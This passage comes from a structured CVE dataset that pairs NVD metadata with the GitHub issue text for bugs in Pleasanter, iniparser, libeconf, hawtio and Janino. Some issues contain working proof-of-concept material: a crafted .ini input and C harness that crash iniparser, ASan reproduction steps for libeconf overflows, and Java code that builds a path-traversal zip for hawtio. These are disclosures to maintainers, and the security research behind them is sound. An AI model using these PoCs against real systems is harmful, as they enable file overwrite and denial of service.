"source": "vultures@jpcert.or.jp",
"tags": [
"Patch",
"Vendor Advisory"
],
"url": "https://pleasanter.org/archives/vulnerability-update-202305"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": [
"Exploit",
"Issue Tracking",
"Patch",
"Third Party Advisory"
],
"url": "https://github.com/Implem/Implem.Pleasanter/issues/474"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": [
"Third Party Advisory"
],
"url": "https://jvn.jp/en/jp/JVN62111727/"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": [
"Patch",
"Vendor Advisory"
],
"url": "https://pleasanter.org/archives/vulnerability-update-202305"
}
] | [
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:pleasanter:pleasanter:*:*:*:*:*:*:*:*",
"matchCriteriaId": "97B48747-5C48-4C0E-9584-3584E801DCB4",
"versionEndExcluding": "1.3.38.1",
"versionEndIncluding": null,
"versionStartExcluding": null,
"versionStartIncluding": null,
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
],
"operator": null
}
] | [
"79"
] | 79 | https://github.com/Implem/Implem.Pleasanter/issues/474 | [
"Exploit",
"Issue Tracking",
"Patch",
"Third Party Advisory"
] | github.com | [
"Implem",
"Implem.Pleasanter"
] | プリザンターにXSS脆弱性が存在することが判明しました。
この問題の影響を受けるバージョンと対策は以下の通りです。
**影響を受けるバージョン**
- **1.3.38.1以前の全て**のバージョン
※Community Edition、Enterprise Editionどちらも該当します。
※1.2版、1.1版、0.51版、0.50版、0.49版以前も該当します。
**対策方法**
- バージョン1.3.X
対策済の最新版である1.3.38.2以降(2023年5月25日リリース)にバージョンアップをしてください。
- バージョン1.2.X、1.1.X、0.51.X、0.50.X、0.49.X以前
対策済の最新版である1.3.38.2以降(2023年5月25日リリース)にバージョンアップをしてください。
**バージョンアップ作業を避けたい場合**
バージョン1.3.X用に「暫定対策」として個別パッチを公開いたしますので適用してください。
| XSS脆弱性の修正について | https://api.github.com/repos/Implem/Implem.Pleasanter/issues/474/comments | 1 | 2023-05-25T00:31:34Z | 2023-05-25T00:36:24Z | https://github.com/Implem/Implem.Pleasanter/issues/474 | 1,724,905,941 | 474 | 5,217 |
CVE-2023-33461 | 2023-06-01T03:15:20.547 | iniparser v4.1 is vulnerable to NULL Pointer Dereference in function iniparser_getlongint which misses check NULL for function iniparser_getstring's return. | {
"cvssMetricV2": null,
"cvssMetricV30": null,
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "LOCAL",
"availabilityImpact": "HIGH",
"baseScore": 5.5,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"version": "3.1"
},
"exploitabilityScore": 1.8,
"impactScore": 3.6,
"source": "nvd@nist.gov",
"type": "Primary"
},
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "LOCAL",
"availabilityImpact": "HIGH",
"baseScore": 5.5,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"version": "3.1"
},
"exploitabilityScore": 1.8,
"impactScore": 3.6,
"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"type": "Secondary"
}
],
"cvssMetricV40": null
} | [
{
"source": "cve@mitre.org",
"tags": [
"Exploit",
"Issue Tracking",
"Vendor Advisory"
],
"url": "https://github.com/ndevilla/iniparser/issues/144"
},
{
"source": "cve@mitre.org",
"tags": [
"Mailing List",
"Third Party Advisory"
],
"url": "https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/ASV7SEDHGCP63GYAFEW3CTTVQDZM5RIK/"
},
{
"source": "cve@mitre.org",
"tags": [
"Mailing List",
"Third Party Advisory"
],
"url": "https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/BQAIP5AURSTWIQOOP7G4CXYJ5IIGPY3Q/"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": [
"Exploit",
"Issue Tracking",
"Vendor Advisory"
],
"url": "https://github.com/ndevilla/iniparser/issues/144"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": [
"Mailing List",
"Third Party Advisory"
],
"url": "https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/ASV7SEDHGCP63GYAFEW3CTTVQDZM5RIK/"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": [
"Mailing List",
"Third Party Advisory"
],
"url": "https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/BQAIP5AURSTWIQOOP7G4CXYJ5IIGPY3Q/"
}
] | [
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:ndevilla:iniparser:4.1:*:*:*:*:*:*:*",
"matchCriteriaId": "90A0D9C2-3EC9-42A8-A01F-1D90B64994EC",
"versionEndExcluding": null,
"versionEndIncluding": null,
"versionStartExcluding": null,
"versionStartIncluding": null,
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
],
"operator": null
}
] | [
"476"
] | 476 | https://github.com/ndevilla/iniparser/issues/144 | [
"Exploit",
"Issue Tracking",
"Vendor Advisory"
] | github.com | [
"ndevilla",
"iniparser"
] | when input a wired ini file ,there is a crash found.
int main (int argc, char** argv)
{
dictionary * ini ;
char * ini_name ;
char* filename = argv[1];
char* fuzzstr = {0xff,0x00};
ini = iniparser_load(filename);
if (ini!=NULL) {
int b = iniparser_getboolean(ini, fuzzstr, -1);
char* s = iniparser_getstring(ini, fuzzstr, NULL);
int i = iniparser_getint(ini, fuzzstr, -1);
double d = iniparser_getdouble(ini, fuzzstr, -1.0);
iniparser_dump(ini, stdout);
iniparser_freedict(ini);
}
}
input in .ini file:
"\x0a\x5b\x5d\x0a\x0a\x5b\x5d\x0a\x0a\x5b\x5d\x0a\x0a\x5b\x5d\x0a\x0a\x5b\x5d\x0a\x0a\x5b\x5d\x0a\x0a\x5b\x5d\x0a\x0a\x5b\x5d\x0a\x0a\x5b\x5d\x0a\x0a\x5b\x5d\x0a\x0a\x5b\x5d\x0a\x0a\x5b\x5d\x0a\x0a\x5b\x5d\x0a\x0a\x5b\x5d\x0a\x0a\x5b\x5d\x0a\x0a\x5b\x5d\x0a\x0a\x5b\x5d\x0a\x0a\x5b\x5d\x0a\x0a\x5b\x5d\x0a\x0a\x5b\x5d\x0a\x0a\x5b\x5d\x0a\x0a\x5b\x5d\x0a\x0a\x5b\x5d\x0a\x0a\x5b\x5d\x0a\x0a\x5b\x5d\x0a\x0a\x5b\x5d\x0a\x0a\x5b\x5d\x0a\x0a\x5b\x5d\x0a\x0a\x5b\x42\x9e\x20\x4a\x09\x96\xe4\x6d\xf8\xb5\x6f\x35\x9b\xca\xc5\xd2\xa0\x39\x11\x21\x52\xd8\xcf\x6c\x52\x61\x7c\x3d\xd0\xad\xf7\x13\x4b\x17\x5d\x54\xad\x42\xc1\xa5\xf7\x30\xda\x92\xfa\xa0\x64\x9a\x5d\x0a\x0a\x5b\x5d\x0a\x0a\x5b\x5d\x0a\x0a\x5b\x5d\x0a\x0a\x5b\x5d\x0a\x0a\x5b\x5d\x0a\x0a\x5b\x5d\x0a\x0a\x5b\x5d\x0a\x0a\x5b\x5d\x0a\x0a\x5b\x5d\x0a\x0a\x5b\x5d\x0a\x0a\x5b\x5d\x0a\x0a\x5b\x5d\x0a\x0a\x5b\x5d\x0a\x0a\x5b\x5d\x0a\x0a\x5b\x5d\x0a\x0a\x5b\x5d\x0a\x0a\x5b\x5d\x0a\x0a\x5b\x5d\x0a\x0a\x5b\x5d\x0a\x0a\x5b\x5d\x0a\x0a\x5b\x5d\x0a\x0a\x5b\x5d\x0a\x0a\x5b\x5d\x0a\x0a\x5b\x5d\x0a\x0a\x5b\x5d\x0a\x0a\x5b\x5d\x0a\x0a\x5b\x5d\x0a\x0a\x5b\x5d\x0a\x0a\x5b\x5d\x0a\x0a\x5b\x5d\x0a\x0a\x5b\x5d\x0a\x0a\x5b\x5d\x0a\x0a\x5b\x5d\x0a\x0a\x5b\x5d\x0a\x0a\x5b\x5d\x0a\x0a\x5b\xa3\xf5\xf5\xa4\xa2\xf5\xf5\xa4\x5d\x0a\x0a\x5b\x5d\x0a\x0a\x5b\x5d\x0a\x0a\x5b\x5d\x0a\x0a\x5b\x5d\x0a\x0a\x5b\x5d\x0a\x0a\x5b\x5d\x0a\x0a\x5b\x5d\x0a\x0a\x5b\x5d\x0a\x0a\x5b\x5d\x0a\x0a\x5b\x5d\x0a\x0a\x5b\x5d\x0a\x0a\x5b\x59\x1e\x33\x07\x0c\xc7\x54\x3f\x7e\xbc\x81\xf4\x61\xa0\xad\x71\x91\x89\x74\x48\x7a\xd9\xab\x79\xc2\xbf\x54\x61\x8a\x89\x3c\xe3\xa8\x6f\xea\xb4\x37\x3e\xf3\xb5\xfa\x74\xa9\x5b\x14\x56\xcd\xa5\xdf\x41\xee\x5a\x1a\x5d\x0a\x0a\x5b\x5d\x0a\x0a\x5b\x5d\x0a\x0a\x5b\x5d\x0a\x0a\x5b\x5d\x0a\x0a\x5b\x5d\x0a\x0a\x5b\x5d\x0a\x0a\x5b\x5d\x0a\x0a\x5b\x5d\x0a\x0a\x5b\x5d\x0a\x0a\x5b\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\x5b\x5d\x0a\x0a\x5b\x5d\x0a\x0a\x5b\x5d\x0a\x0a\x5b\x5d\x0a\x0a\x5b\x5d\x0a\x0a\x5b\x5d\x0a\x0a\x5b\x5d\x0a\x0a\x5b\x5d\x0a\x0a\x5b\x5d\x0a\x0a\x5b\x5d\x0a\x0a\x5b\x5d\x0a\x0a\x5b\x5d\x0a\x0a\x5b\x5d\x0a\x0a\x5b\x5d\x0a\x0a\x5b\x5d\x0a\x0a\x5b\x5d\x0a\x0a\x5b\x5d\x0a\x0a\x5b\x5d\x0a\x0a\x5b\x5d\x0a\x0a\x5b\x5d\x0a\x0a\x5b\x5d\x0a\x0a\x5b\x5d\x0a\x0a\x5b\x5d\x0a\x0a\x5b\x5d\x0a\x0a\x5b\x5d\x0a\x0a\x5b\x5d\x0a\x0a\x5b\x5d\x0a\x0a\x5b\x5d\x0a\x0a\x5b\x5d\x0a\x0a\x5b\x5d\x0a\x0a\x5b\x1f\x1f\x1f\x1f\x1f\x1f\x1f\x1f\x1f\x1f\x1f\x1f\x1f\x1f\x1f\x1f\x1f\x1f\x1f\x1f\x1f\x1f\x1f\x1f\x1f\x1f\x1f\x1f\x1f\x1f\x1f\x1f\x1f\x1f\x1f\x1f\x1f\x1f\x1f\x1f\x5d\x0a\x0a\x5b\x5d\x0a\x0a\x5b\x5d\x0a\x0a\x5b\x5d\x0a\x0a\x5b\x5d"
compile:
gcc -fsantize=address test.c ./src/iniparser.c ./src/dictionary.c -o testdemo -I ./src/
run and find a crash:
=================================================================
==2145962==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000000 (pc 0x556d37d6dce3 bp 0x7ffedb8fc080 sp 0x7ffedb8fc040 T0)
==2145962==The signal is caused by a READ memory access.
==2145962==Hint: address points to the zero page.
#0 0x556d37d6dce3 in iniparser_getboolean ../src/iniparser.c:559
#1 0x556d37d69f57 in main /opt1/software/newtest/iniparser/test.c:19
the vuln is in function "iniparser_getboolean" miss check for function "iniparser_getstring" 's return. when iniparser_getstring return NULL, the code in 559 will cause crash .
| NULL pointer cause crash in iniparser_getboolean. | https://api.github.com/repos/ndevilla/iniparser/issues/144/comments | 1 | 2023-05-05T11:06:05Z | 2023-09-15T18:22:49Z | https://github.com/ndevilla/iniparser/issues/144 | 1,697,430,097 | 144 | 5,218 |
CVE-2023-22652 | 2023-06-01T12:15:09.557 | A Buffer Copy without Checking Size of Input ('Classic Buffer Overflow') vulnerability in openSUSE libeconf leads to DoS via malformed config files.
This issue affects libeconf: before 0.5.2. | {
"cvssMetricV2": null,
"cvssMetricV30": null,
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "LOCAL",
"availabilityImpact": "LOW",
"baseScore": 3.3,
"baseSeverity": "LOW",
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:L",
"version": "3.1"
},
"exploitabilityScore": 1.8,
"impactScore": 1.4,
"source": "meissner@suse.de",
"type": "Secondary"
},
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 6.5,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"version": "3.1"
},
"exploitabilityScore": 2.8,
"impactScore": 3.6,
"source": "nvd@nist.gov",
"type": "Primary"
}
],
"cvssMetricV40": null
} | [
{
"source": "meissner@suse.de",
"tags": [
"Issue Tracking",
"Vendor Advisory"
],
"url": "https://bugzilla.suse.com/show_bug.cgi?id=CVE-2023-22652"
},
{
"source": "meissner@suse.de",
"tags": [
"Broken Link"
],
"url": "https://https://github.com/openSUSE/libeconf/issues/177"
},
{
"source": "meissner@suse.de",
"tags": null,
"url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/SDD5GL5T3V5XZ3VFA4HPE6YGJ2K4HHPC/"
},
{
"source": "meissner@suse.de",
"tags": null,
"url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/SMG5256D5I3GFA3RBAJQ2WYPJDYAIL74/"
},
{
"source": "meissner@suse.de",
"tags": null,
"url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/YAYW7X753Z6GOJKVLQPXBDHISN6ZT233/"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": [
"Issue Tracking",
"Vendor Advisory"
],
"url": "https://bugzilla.suse.com/show_bug.cgi?id=CVE-2023-22652"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": [
"Broken Link"
],
"url": "https://https://github.com/openSUSE/libeconf/issues/177"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": null,
"url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/SDD5GL5T3V5XZ3VFA4HPE6YGJ2K4HHPC/"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": null,
"url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/SMG5256D5I3GFA3RBAJQ2WYPJDYAIL74/"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": null,
"url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/YAYW7X753Z6GOJKVLQPXBDHISN6ZT233/"
},
{
"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"tags": null,
"url": "https://github.com/openSUSE/libeconf/issues/177"
}
] | [
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:opensuse:libeconf:*:*:*:*:*:*:*:*",
"matchCriteriaId": "346C0440-B422-4C32-B61E-09467A38DF0B",
"versionEndExcluding": "0.5.2",
"versionEndIncluding": null,
"versionStartExcluding": null,
"versionStartIncluding": null,
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
],
"operator": null
}
] | [
"120"
] | 120 | https://github.com/openSUSE/libeconf/issues/177 | null | github.com | [
"openSUSE",
"libeconf"
] | **Discover: YangJiageng of HITSZ IDS**
## Description:
A stack-buffer-overflow vulnerability exists in the `read_file` function. The the vulnerability is triggered at `libeconf/lib/getfilecontents.c` line:503.
The statement is: `if (*(p + 1) != '\0' *(p + 1) = '\0';` (line 503).
The pointer variable `p` points to a location in the memory buffer `buf`.
The statements are that : `name = buf; ... ... p = strchr(name, comment[i]);`.
However, when the `strchr` function is used to search for characters in the string `name`, it does not check whether the pointer `p` is outside the bounds of the `name` array.
Finally, at line 503, `*(p + 1) = '\0'`, this assignment creates a stack overflow vulnerability if the location pointed to by `p` is outside the bounds of the buffer.
## Reproduction:
Please reproduce this vulnerability using the following PoC.
This PoC is obtained by modifying the input data based on the `test/tst-logindefs1.c` testcase .
Use this PoC to replace the `tst-logindefs1.c` file in the `libeconf/tests` directory and configure the C compiler to use the `-fsanitize=address` flag, as follows:
```command
CC=clang CXX=$CC CFLAGS="-O2 -g -fsanitize=address -L/root/ -shared-libasan" make -C build/ check -j8
```
The PoC file and the input file are [here](https://raw.githubusercontent.com/yangjiageng/PoC/master/libeconf-PoC/tst-logindefs1.c) and [here](https://github.com/yangjiageng/PoC/blob/master/libeconf-PoC/read_file_503), respectively.
Using this command : `/libeconfDir/build/tests/tst-logindefs1 read_file_503`, you will get the following outputs:

This is the corresponding information of this overflow vulnerability from AddressSanitizer.
And attackers can use this bug to achieve a DoS attack even remote code execution attack.
Please reproduce and fix this vulnerability.
| libeconf: A stack-buffer-overflow vulnerability in "read_file" function | https://api.github.com/repos/openSUSE/libeconf/issues/177/comments | 2 | 2023-03-16T11:59:27Z | 2025-01-06T07:51:22Z | https://github.com/openSUSE/libeconf/issues/177 | 1,627,326,764 | 177 | 5,219 |
CVE-2023-32181 | 2023-06-01T12:15:09.727 | A Buffer Copy without Checking Size of Input ('Classic Buffer Overflow') vulnerability in openSUSE libeconf allows for DoS via malformed configuration files
This issue affects libeconf: before 0.5.2.
| {
"cvssMetricV2": null,
"cvssMetricV30": null,
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "LOCAL",
"availabilityImpact": "LOW",
"baseScore": 3.3,
"baseSeverity": "LOW",
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:L",
"version": "3.1"
},
"exploitabilityScore": 1.8,
"impactScore": 1.4,
"source": "meissner@suse.de",
"type": "Secondary"
},
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 6.5,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"version": "3.1"
},
"exploitabilityScore": 2.8,
"impactScore": 3.6,
"source": "nvd@nist.gov",
"type": "Primary"
}
],
"cvssMetricV40": null
} | [
{
"source": "meissner@suse.de",
"tags": [
"Broken Link",
"Issue Tracking",
"Vendor Advisory"
],
"url": "https://https://bugzilla.suse.com/show_bug.cgi?id=CVE-2023-32181"
},
{
"source": "meissner@suse.de",
"tags": [
"Broken Link",
"Issue Tracking",
"Vendor Advisory"
],
"url": "https://https://github.com/openSUSE/libeconf/issues/178"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": [
"Broken Link",
"Issue Tracking",
"Vendor Advisory"
],
"url": "https://https://bugzilla.suse.com/show_bug.cgi?id=CVE-2023-32181"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": [
"Broken Link",
"Issue Tracking",
"Vendor Advisory"
],
"url": "https://https://github.com/openSUSE/libeconf/issues/178"
},
{
"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"tags": null,
"url": "https://github.com/openSUSE/libeconf/issues/178"
}
] | [
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:opensuse:libeconf:*:*:*:*:*:*:*:*",
"matchCriteriaId": "346C0440-B422-4C32-B61E-09467A38DF0B",
"versionEndExcluding": "0.5.2",
"versionEndIncluding": null,
"versionStartExcluding": null,
"versionStartIncluding": null,
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
],
"operator": null
}
] | [
"120"
] | 120 | https://github.com/openSUSE/libeconf/issues/178 | null | github.com | [
"openSUSE",
"libeconf"
] | **Discoverer: YangJiageng of HITSZ IDS**
## Description
A stack-buffer-overflow vulnerability exists in the `econf_writeFile` function. The vulnerability is triggered at `libeconf/lib/libeconf.c` line:546. The statement is: `while ((line = strsep(&value_string, "\n")) != NULL)` (line 546).
The corresponding statements as follows:
```c
if (key_file->file_entry[i].comment_before_key && strlen(key_file->file_entry[i].comment_before_key) > 0) {
char buf[BUFSIZ];
char *line;
char *value_string = buf;
strncpy(buf, key_file->file_entry[i].comment_before_key, BUFSIZ-1);
while ((line = strsep(&value_string, "\n")) != NULL) {
fprintf(kf, "%c%s\n", key_file->comment, line);
}
}
```
In this code, a `buf` buffer of 8192 bytes is defined and the contents of `key_file->file_entry[i].comment_before_key` are copied into the `buf`.
The `strncpy` function is used here, which ensures that the size of `buf` is not exceeded when copying, so the process does not result in a buffer overflow vulnerability.
Next, when using the `strsep` function, the `value_string` pointer is pointed to the beginning of the buf buffer.
The `strsep` function alone will not cause a buffer overflow vulnerability. However, in the `strncpy` function, if the length of `key_file->file_entry[i].comment_before_key` is greater than or equal to the size of buf, then it will not add the null character at the end of `buf`.
This may result in the `strsep` function not correctly identifying the end position of the string when splitting it, thus causing a buffer overflow.
## Reproduction
Please reproduce this vulnerability using the following PoC.
This PoC is obtained by modifying the input data based on the `test/tst-write-string-data.c` testcase.
Use this PoC to replace the `tst-write-string-data.c` file in the `libeconf/tests` directory and configure the C compiler to use the `-fsanitize=address` flag, as follows:
```cmd
CC=clang CXX=$CC CFLAGS="-O2 -g -fsanitize=address -L/root/ -shared-libasan" make -C build/ check -j8
```
The PoC file and the input file are [here](https://raw.githubusercontent.com/yangjiageng/PoC/master/libeconf-PoC/tst-write-string-data.c) and [here](https://github.com/yangjiageng/PoC/blob/master/libeconf-PoC/econf_writeFile_546), respectively.
You must create a corpus subdirectory under the directory where you run the test target `tst-write-string-data` in order to run the test target correctly.
Using this command: `cd /libeconfDir/build/tests && mkdir corpus` and `/libeconfDir/build/tests/tst-write-string-data econf_writeFile_546`, you will get the following outputs:

This is the corresponding information of this overflow vulnerability from AddressSanitizer.
And attackers can use this bug to achieve a DoS attack even remote code execution attack.
Please reproduce and fix this vulnerability. | libeconf: A stack-buffer-overflow vulnerability in "econf_writeFile" function | https://api.github.com/repos/openSUSE/libeconf/issues/178/comments | 2 | 2023-03-16T12:25:16Z | 2025-01-06T07:50:53Z | https://github.com/openSUSE/libeconf/issues/178 | 1,627,373,328 | 178 | 5,220 |
CVE-2023-33544 | 2023-06-01T13:15:10.637 | hawtio 2.17.2 is vulnerable to Path Traversal. it is possible to input malicious zip files, which can result in the high-risk files after decompression being stored in any location, even leading to file overwrite. | {
"cvssMetricV2": null,
"cvssMetricV30": null,
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "LOCAL",
"availabilityImpact": "NONE",
"baseScore": 5.5,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "NONE",
"integrityImpact": "HIGH",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N",
"version": "3.1"
},
"exploitabilityScore": 1.8,
"impactScore": 3.6,
"source": "nvd@nist.gov",
"type": "Primary"
},
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "LOCAL",
"availabilityImpact": "NONE",
"baseScore": 5.5,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "NONE",
"integrityImpact": "HIGH",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N",
"version": "3.1"
},
"exploitabilityScore": 1.8,
"impactScore": 3.6,
"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"type": "Secondary"
}
],
"cvssMetricV40": null
} | [
{
"source": "cve@mitre.org",
"tags": [
"Exploit",
"Issue Tracking",
"Third Party Advisory"
],
"url": "https://github.com/hawtio/hawtio/issues/2832"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": [
"Exploit",
"Issue Tracking",
"Third Party Advisory"
],
"url": "https://github.com/hawtio/hawtio/issues/2832"
}
] | [
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:hawt:hawtio:2.17.2:*:*:*:*:*:*:*",
"matchCriteriaId": "C51751B6-656C-4410-8B49-25E3796FD279",
"versionEndExcluding": null,
"versionEndIncluding": null,
"versionStartExcluding": null,
"versionStartIncluding": null,
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
],
"operator": null
}
] | [
"22"
] | 22 | https://github.com/hawtio/hawtio/issues/2832 | [
"Exploit",
"Issue Tracking",
"Third Party Advisory"
] | github.com | [
"hawtio",
"hawtio"
] | # Description
In the method "unzip" (line 111) of the file https://github.com/hawtio/hawtio/blob/268bca24c61c88c76ea661533514082954e38ed5/hawtio-util/src/main/java/io/hawt/util/Zips.java#L111 , it is possible to input malicious zip files, which can result in the high-risk files after decompression being stored in any location, even leading to file overwrite and other situations.
# Proof of Concept
I use a maven project import the utility in pom.xml.
```xml
<dependency>
<groupId>io.hawt</groupId>
<artifactId>hawtio-util</artifactId>
<version>2.17.2</version>
</dependency>
```
Use the following zip() method to create a zip file from a txt file, and the name of the compressed file will be renamed to "..\..\a\b\c\poc.txt". (You should create this path firstly)
Then call the Zips.unzip() method, originally intended to unzip the file to "D:\project\TestProject\ICFuzzTest\testData\unzip", but it will eventually be extracted to its another directory "D:\project\TestProject\ICFuzzTest\a\b\c\poc.txt".
This may cause the original file to be overwritten by a high-risk file.
```java
import io.hawt.util.Zips;
import java.io.File;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.util.zip.ZipEntry;
import java.util.zip.ZipOutputStream;
/**
* 在Hawtio中存在unZip方法,可能有路径穿越的问题
*/
public class HawtioUnzip {
//https://github.com/hawtio/hawtio/blob/268bca24c61c88c76ea661533514082954e38ed5/hawtio-util/src/main/java/io/hawt/util/Zips.java#L111
public static void main(String[] args) throws IOException {
zip(); // create a poc
String zipFile = "D:\\project\\TestProject\\ICFuzzTest\\testData\\unzip\\poc.zip";
String destination = "D:\\project\\TestProject\\ICFuzzTest\\testData\\unzip";
InputStream in = new FileInputStream(zipFile);
Zips.unzip(in, new File(destination));
}
// create a poc
public static void zip() {
ZipOutputStream zos = null;
try {
zos = new ZipOutputStream(new FileOutputStream(
"D:\\project\\TestProject\\ICFuzzTest\\testData\\unzip\\poc.zip"));
String srcFile = "..\\..\\a\\b\\c\\poc.txt"; // the next filePath
String destFile = "D:\\project\\TestProject\\ICFuzzTest\\testData\\unzip\\poc.txt";
zos.putNextEntry(new ZipEntry(srcFile));
FileInputStream in = new FileInputStream(destFile);
int len;
byte[] buf = new byte[1024];
while ((len = in.read(buf)) != -1) {
zos.write(buf, 0, len);
}
zos.closeEntry();
in.close();
} catch (Exception e) {
throw new RuntimeException("zip error from ZipUtils", e);
} finally {
if (zos != null) {
try {
zos.close();
} catch (IOException e) {
e.printStackTrace();
}
}
}
}
}
```
The following is the constructed zip file:
https://github.com/Zlase0820/VulnData/blob/main/src.main/data/poc.zip
# Suggestion
I think we can add a simple verification check on the path to avoid this issue. We can refer to other verification methods for unzip under Apache, such as:
https://github.com/apache/druid/blob/master/processing/src/main/java/org/apache/druid/utils/CompressionUtils.java#L242
He has the same error,and fixed in CVE-2023-27603.
| Path Traversal when unzip zip file | https://api.github.com/repos/hawtio/hawtio/issues/2832/comments | 1 | 2023-05-11T07:25:38Z | 2023-05-17T09:07:18Z | https://github.com/hawtio/hawtio/issues/2832 | 1,705,229,131 | 2,832 | 5,221 |
CVE-2023-33546 | 2023-06-01T13:15:10.743 | Janino 3.1.9 and earlier are subject to denial of service (DOS) attacks when using the expression evaluator.guess parameter name method. If the parser runs on user-supplied input, an attacker could supply content that causes the parser to crash due to a stack overflow. NOTE: this is disputed by multiple parties because Janino is not intended for use with untrusted input. | {
"cvssMetricV2": null,
"cvssMetricV30": null,
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "LOCAL",
"availabilityImpact": "HIGH",
"baseScore": 5.5,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"version": "3.1"
},
"exploitabilityScore": 1.8,
"impactScore": 3.6,
"source": "nvd@nist.gov",
"type": "Primary"
}
],
"cvssMetricV40": null
} | [
{
"source": "cve@mitre.org",
"tags": [
"Exploit",
"Issue Tracking",
"Third Party Advisory"
],
"url": "https://github.com/janino-compiler/janino/issues/201"
},
{
"source": "cve@mitre.org",
"tags": null,
"url": "https://janino-compiler.github.io/janino/#security"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": [
"Exploit",
"Issue Tracking",
"Third Party Advisory"
],
